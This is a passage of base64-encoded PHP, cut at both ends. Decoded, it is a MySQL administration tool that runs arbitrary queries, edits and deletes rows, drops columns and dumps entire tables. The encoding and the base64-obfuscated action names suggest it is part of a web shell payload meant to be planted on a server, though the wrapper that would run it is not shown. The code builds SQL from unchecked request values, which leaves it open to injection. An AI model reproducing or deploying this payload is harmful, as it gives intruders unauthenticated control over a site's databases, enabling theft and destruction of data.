koICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2Zy